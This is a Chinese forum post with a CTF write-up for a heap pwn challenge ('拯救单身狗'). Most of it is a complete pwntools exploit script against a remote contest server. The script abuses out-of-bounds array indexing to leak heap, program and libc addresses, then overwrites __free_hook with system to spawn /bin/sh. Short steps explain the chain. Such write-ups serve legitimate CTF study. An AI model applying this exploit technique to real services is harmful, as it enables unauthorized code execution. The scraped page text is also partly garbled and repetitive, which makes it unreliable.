-
-
[原创]拯救单身狗 WriteUp from W8C.Cossack人人
-
发表于: 2019-3-12 13:50 2949
-
edit_single与edit_lucky时未检验数组two
,one
下标导致的OOB
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | from pwn import * from time import sleep import sys context.arch = 'amd64' status = sys.argv[ 1 ] elf = ELF( "./apwn" ) host = "211.159.175.39" port = 8686 libc = ELF( "/lib/x86_64-linux-gnu/libc-2.27.so" ) if status = = 'l' : io = process( "./apwn" ) context.log_level = "debug" elif status = = 'r' : io = remote(host,port) def choice(c): sleep( 0.2 ) io.sendlineafter( ">>\n" , str (c)) def single(name): choice( 1 ) io.sendafter( "Name:\n" ,name) def lucky(name,cp_name): choice( 2 ) io.sendafter( "Name\n" ,name) io.sendafter( "your partner's name\n" ,cp_name) def edit_single(idx,new_name): choice( 3 ) io.sendlineafter( "which?" , str (idx)) io.sendafter( "Oh,singledog,changing your name can bring you good luck.\n" ,new_name) def edit_lucky(idx,new_name,new_cp_name): choice( 4 ) io.sendlineafter( "which?" , str (idx)) io.sendafter( "Oh,luckydog,What is your new name?\n" ,new_name) io.sendafter( "your partner's new name\n" ,new_cp_name) def save_single(): choice( 5 ) lucky( "0000" , "0001" ) single( "0000" ) edit_single(( 0x2e0 - 0x60 ) / 8 , "\xa0" ) io.recvuntil( "new name: " ) heap_base = (u64(io.recv( 6 ).ljust( 8 , '\x00' ))& 0xfffffffff000 ) success( "HEAP BASE -> %#x" % heap_base) edit_single(( 0x08 - 0x60 ) / 8 , "\x08" ) io.recvuntil( "new name: " ) proc_base = (u64(io.recv( 6 ).ljust( 8 , '\x00' )) - 0x202008 ) success( "PROC BASE -> %#x" % proc_base) edit_single(( 0x2e0 - 0x60 ) / 8 ,p64(proc_base + elf.sym[ 'two' ])) edit_lucky( 0 , "****" ,p64(proc_base + elf.sym[ 'stderr' ])) edit_single( 0 , "\x80" ) io.recvuntil( "new name: " ) libc_base = (u64(io.recv( 6 ).ljust( 8 , '\x00' ))) - libc.sym[ '_IO_2_1_stderr_' ] success( "LIBC BASE -> %#x" % libc_base) edit_lucky( 0 , "echo X;/bin/sh\x00" ,p64(libc_base + libc.sym[ '__free_hook' ])) edit_single( 0 ,p64(libc_base + libc.sym[ 'system' ])) #edit_lucky(0,"/bin/sh\x00",p64(libc_base+0x1bd8e8)) #edit_single(0,p64(libc_base+0x44cb0)) #edit_single((0x2e0-0x60)/8,p64(heap_base+0x678)) lucky( "/bin/sh\x00" , "/bin/sh\x00" ) save_single() io.interactive() |
- edit_single越界读取one数组内容,从而leak heap_nase
- edit_single越界读取
__dso_handle
,从而leak proc_base - edit_single越界伪造one,使
one[0]
指向two[0]
- 编辑
one[0]
从而篡改two[0]
使其指向.bss上的stderr
指针,从而leak libc_base - 编辑
one[0]
从而篡改two[0]
使其指向libc中的__free_hook
- edit_single修改
__free_hook
为&__libc_system
- 创建一个lucky,其parent name使
/bin/sh\x00
- save_single,1/2的概率触发
system("/bin/sh\x00")
- 原本是不打算写概率性脚本的,但是似乎远程主机上heap偏移与我主机上不同(我主机上是0x678但远程用这个偏移没反应),于是新建lucky避免偏移错误
__dso_handle
,从而leak proc_baseone[0]
指向two[0]
最后于 2019-3-16 01:18
被Cossack人人编辑
,原因: 修改一下h1目录名
赞赏
他的文章
赞赏
雪币:
留言: